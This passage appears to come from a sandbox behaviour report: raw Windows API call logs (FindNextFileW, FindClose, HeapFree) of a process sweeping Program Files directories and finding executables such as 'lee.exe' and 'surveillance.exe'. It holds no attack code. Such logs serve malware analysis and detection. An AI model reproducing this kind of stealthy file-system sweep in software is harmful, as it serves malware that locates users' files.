ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0 [0192.381] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0192.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.384] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0 [0192.384] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0192.384] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.384] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0192.385] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.385] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 1 [0192.510] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.510] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Download", cAlternateFileName="")) returned 1 [0192.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.516] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="61.0.3163.79", cAlternateFileName="610316~1.79")) returned 0 [0192.516] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0192.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.517] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd42df1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xdfd42df1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8A69D345-D564-463C-AFF1-A69D9E530F96}", cAlternateFileName="{8A69D~1")) returned 0 [0192.517] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0192.517] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.517] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0192.517] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.517] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0122b4c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe04b63d9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe04b63d9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6124B51C-167F-4C55-9898-E7167409448B}", cAlternateFileName="{6124B~1")) returned 0 [0192.517] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0192.517] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.517] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Install", cAlternateFileName="")) returned 0 [0192.518] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0192.518] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.520] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update2", cAlternateFileName="")) returned 0 [0192.520] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0192.520] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0192.520] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0192.522] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.523] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95261236, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95261236, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95261236, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0192.523] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.523] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf06153b0, ftCreationTime.dwHighDateTime=0x1d53525, ftLastAccessTime.dwLowDateTime=0x103a50f0, ftLastAccessTime.dwHighDateTime=0x1d4f73d, ftLastWriteTime.dwLowDateTime=0x103a50f0, ftLastWriteTime.dwHighDateTime=0x1d4f73d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="lee.exe", cAlternateFileName="")) returned 1 [0192.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.524] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0192.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.524] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740253b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x740253b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0192.525] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.525] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xecda67f6, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xecda67f6, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0192.530] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.530] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0192.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.531] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb002a0, ftCreationTime.dwHighDateTime=0x1d53408, ftLastAccessTime.dwLowDateTime=0x462e60d0, ftLastAccessTime.dwHighDateTime=0x1d4ed78, ftLastWriteTime.dwLowDateTime=0x462e60d0, ftLastWriteTime.dwHighDateTime=0x1d4ed78, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="surveillance.exe", cAlternateFileName="SURVEI~1.EXE")) returned 1 [0192.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.531] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4e2594, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1 [0192.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.537] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef1289ad, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef1289ad, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0192.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.538] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0192.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.539] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0192.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.540] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0192.540] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0192.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.540] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0192.540] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0192.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.542] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0192.542] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0192.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.542] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0192.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0192.547] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0192.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0192.548] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909a7d72, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c4a1e8c, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6c4c7f7a, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0192.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.708] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0192.712] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0192.712] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c29919, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0192.713] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0192.713] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0192.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0192.715] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70b90e1d, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70c29919, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70c29919, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0192.715] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0192.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.715] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70b90e1d, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70b90e1d, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0192.715] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0192.715] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.719] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0192.719] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0192.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.719] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41c3d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0192.722] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.722] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa686fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa686fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa686fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0192.723] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.723] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a3ad051, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a3ad051, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a3ad051, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1 [0192.723] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.723] FindNextFileW 